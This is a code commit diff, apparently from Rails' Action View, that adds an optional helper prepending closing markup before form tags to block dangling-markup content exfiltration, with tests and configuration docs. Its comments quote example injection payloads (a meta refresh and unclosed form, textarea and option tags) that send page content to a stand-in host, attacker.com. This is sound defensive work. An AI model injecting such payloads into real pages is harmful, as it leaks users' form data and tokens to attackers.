Add additional content exfiltration prevention to form tags
This commit is contained in:
parent
b24c44159c
commit
59ead5343a
@ -12,6 +12,7 @@
|
||||
require "action_view/helpers/asset_url_helper"
|
||||
require "action_view/helpers/atom_feed_helper"
|
||||
require "action_view/helpers/cache_helper"
|
||||
require "action_view/helpers/content_exfiltration_prevention_helper"
|
||||
require "action_view/helpers/controller_helper"
|
||||
require "action_view/helpers/csp_helper"
|
||||
require "action_view/helpers/csrf_helper"
|
||||
@ -45,6 +46,7 @@ def self.eager_load!
|
||||
include AtomFeedHelper
|
||||
include CacheHelper
|
||||
include CaptureHelper
|
||||
include ContentExfiltrationPreventionHelper
|
||||
include ControllerHelper
|
||||
include CspHelper
|
||||
include CsrfHelper
|
||||
|
@ -0,0 +1,68 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module ActionView
|
||||
module Helpers
|
||||
module ContentExfiltrationPreventionHelper
|
||||
mattr_accessor :prepend_content_exfiltration_prevention, default: false
|
||||
|
||||
# Close any open attributes before each form tag. This prevents attackers from
|
||||
# injecting partial tags that could leak markup offsite.
|
||||
#
|
||||
# For example, an attacker might inject:
|
||||
#
|
||||
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
|
||||
#
|
||||
# The HTML following this tag, up until the next single quote would be sent to
|
||||
# https://attacker.com. By closing any open attributes, we ensure that form
|
||||
# contents are never exfiltrated this way.
|
||||
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
|
||||
|
||||
# Close any open tags that support CDATA (textarea, xmp) before each form tag.
|
||||
# This prevents attackers from injecting unclosed tags that could capture
|
||||
# form contents.
|
||||
#
|
||||
# For example, an attacker might inject:
|
||||
#
|
||||
# <form action="https://attacker.com"><textarea>
|
||||
#
|
||||
# The HTML following this tag, up until the next `</textarea>` or the end of
|
||||
# the document would be captured by the attacker's <textarea>. By closing any
|
||||
# open textarea tags, we ensure that form contents are never exfiltrated.
|
||||
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
|
||||
|
||||
# Close any open option tags before each form tag. This prevents attackers
|
||||
# from injecting unclosed options that could leak markup offsite.
|
||||
#
|
||||
# For example, an attacker might inject:
|
||||
#
|
||||
# <form action="https://attacker.com"><option>
|
||||
#
|
||||
# The HTML following this tag, up until the next `</option>` or the end of
|
||||
# the document would be captured by the attacker's <option>. By closing any
|
||||
# open option tags, we ensure that form contents are never exfiltrated.
|
||||
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
|
||||
|
||||
# Close any open form tags before each new form tag. This prevents attackers
|
||||
# from injecting unclosed forms that could leak markup offsite.
|
||||
#
|
||||
# For example, an attacker might inject:
|
||||
#
|
||||
# <form action="https://attacker.com">
|
||||
#
|
||||
# The form elements following this tag, up until the next `</form>` would be
|
||||
# captured by the attacker's <form>. By closing any open form tags, we
|
||||
# ensure that form contents are never exfiltrated.
|
||||
CLOSE_FORM_TAG = "</form>".html_safe.freeze
|
||||
|
||||
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
|
||||
|
||||
def prevent_content_exfiltration(html)
|
||||
if prepend_content_exfiltration_prevention
|
||||
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
|
||||
else
|
||||
html
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -1,6 +1,7 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require "cgi"
|
||||
require "action_view/helpers/content_exfiltration_prevention_helper"
|
||||
require "action_view/helpers/url_helper"
|
||||
require "action_view/helpers/text_helper"
|
||||
require "active_support/core_ext/string/output_safety"
|
||||
@ -19,6 +20,7 @@ module FormTagHelper
|
||||
|
||||
include UrlHelper
|
||||
include TextHelper
|
||||
include ContentExfiltrationPreventionHelper
|
||||
|
||||
mattr_accessor :embed_authenticity_token_in_remote_forms
|
||||
self.embed_authenticity_token_in_remote_forms = nil
|
||||
@ -955,7 +957,8 @@ def extra_tags_for_form(html_options)
|
||||
|
||||
def form_tag_html(html_options)
|
||||
extra_tags = extra_tags_for_form(html_options)
|
||||
tag(:form, html_options, true) + extra_tags
|
||||
html = tag(:form, html_options, true) + extra_tags
|
||||
prevent_content_exfiltration(html)
|
||||
end
|
||||
|
||||
def form_tag_with_body(html_options, content)
|
||||
|
@ -3,6 +3,7 @@
|
||||
require "active_support/core_ext/array/access"
|
||||
require "active_support/core_ext/hash/keys"
|
||||
require "active_support/core_ext/string/output_safety"
|
||||
require "action_view/helpers/content_exfiltration_prevention_helper"
|
||||
require "action_view/helpers/tag_helper"
|
||||
|
||||
module ActionView
|
||||
@ -22,6 +23,7 @@ module UrlHelper
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
include TagHelper
|
||||
include ContentExfiltrationPreventionHelper
|
||||
|
||||
module ClassMethods
|
||||
def _url_for_modules
|
||||
@ -380,7 +382,8 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
|
||||
autocomplete: "off")
|
||||
end
|
||||
end
|
||||
content_tag("form", inner_tags, form_options)
|
||||
html = content_tag("form", inner_tags, form_options)
|
||||
prevent_content_exfiltration(html)
|
||||
end
|
||||
|
||||
# Creates a link tag of the given +name+ using a URL created by the set of
|
||||
|
@ -13,6 +13,7 @@ class Railtie < Rails::Engine # :nodoc:
|
||||
config.action_view.image_loading = nil
|
||||
config.action_view.image_decoding = nil
|
||||
config.action_view.apply_stylesheet_media_default = true
|
||||
config.action_view.prepend_content_exfiltration_prevention = false
|
||||
|
||||
config.eager_load_namespaces << ActionView
|
||||
|
||||
@ -40,6 +41,11 @@ class Railtie < Rails::Engine # :nodoc:
|
||||
end
|
||||
end
|
||||
|
||||
config.after_initialize do |app|
|
||||
prepend_content_exfiltration_prevention = app.config.action_view.delete(:prepend_content_exfiltration_prevention)
|
||||
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = prepend_content_exfiltration_prevention
|
||||
end
|
||||
|
||||
config.after_initialize do |app|
|
||||
button_to_generates_button_tag = app.config.action_view.delete(:button_to_generates_button_tag)
|
||||
unless button_to_generates_button_tag.nil?
|
||||
|
@ -906,6 +906,20 @@ def test_image_label_tag_options_symbolize_keys_side_effects
|
||||
assert_equal({ option: "random_option" }, options)
|
||||
end
|
||||
|
||||
def test_content_exfiltration_prevention
|
||||
with_prepend_content_exfiltration_prevention(true) do
|
||||
actual = form_tag
|
||||
expected = %(<!-- '"` --><!-- </textarea></xmp> --></option></form>#{whole_form})
|
||||
assert_dom_equal expected, actual
|
||||
end
|
||||
end
|
||||
|
||||
def test_form_with_content_exfiltration_prevention_is_html_safe
|
||||
with_prepend_content_exfiltration_prevention(true) do
|
||||
assert_equal true, form_tag.html_safe?
|
||||
end
|
||||
end
|
||||
|
||||
def protect_against_forgery?
|
||||
false
|
||||
end
|
||||
@ -923,4 +937,13 @@ def with_default_enforce_utf8(value)
|
||||
ensure
|
||||
ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
|
||||
end
|
||||
|
||||
def with_prepend_content_exfiltration_prevention(value)
|
||||
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
|
||||
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
|
||||
|
||||
yield
|
||||
ensure
|
||||
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
|
||||
end
|
||||
end
|
||||
|
@ -402,6 +402,15 @@ def test_button_to_generates_input_when_button_to_generates_button_tag_false
|
||||
ActionView::Helpers::UrlHelper.button_to_generates_button_tag = old_value
|
||||
end
|
||||
|
||||
def test_button_to_with_content_exfiltration_prevention
|
||||
with_prepend_content_exfiltration_prevention(true) do
|
||||
assert_dom_equal(
|
||||
%{<!-- '"` --><!-- </textarea></xmp> --></option></form><form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
|
||||
button_to("Hello", "http://www.example.com")
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
class FakeParams
|
||||
def initialize(permitted = true)
|
||||
@permitted = permitted
|
||||
@ -1036,6 +1045,16 @@ def form_authenticity_token(**)
|
||||
def request_forgery_protection_token
|
||||
"form_token"
|
||||
end
|
||||
|
||||
private
|
||||
def with_prepend_content_exfiltration_prevention(value)
|
||||
old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention
|
||||
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value
|
||||
|
||||
yield
|
||||
ensure
|
||||
ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value
|
||||
end
|
||||
end
|
||||
|
||||
class UrlHelperControllerTest < ActionController::TestCase
|
||||
|
@ -66,6 +66,7 @@ Below are the default values associated with each target version. In cases of co
|
||||
- [`config.active_support.default_message_verifier_serializer`](#config-active-support-default-message-verifier-serializer): `:json`
|
||||
- [`config.action_controller.allow_deprecated_parameters_hash_equality`](#config-action-controller-allow-deprecated-parameters-hash-equality): `false`
|
||||
- [`config.log_file_size`](#config-log-file-size): `100.megabytes`
|
||||
- [`config.action_view.prepend_content_exfiltration_prevention`](#config-action_view-prepend-content-exfiltration-prevention): `true`
|
||||
|
||||
#### Default Values for Target Version 7.0
|
||||
|
||||
@ -1527,6 +1528,10 @@ The default value depends on the `config.load_defaults` target version:
|
||||
| (original) | `true` |
|
||||
| 7.0 | `false` |
|
||||
|
||||
#### `config.action_view.prepend_content_exfiltration_prevention`
|
||||
|
||||
Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.
|
||||
|
||||
### Configuring Action Mailbox
|
||||
|
||||
`config.action_mailbox` provides the following configuration options:
|
||||
|
Loading…
Reference in New Issue
Block a user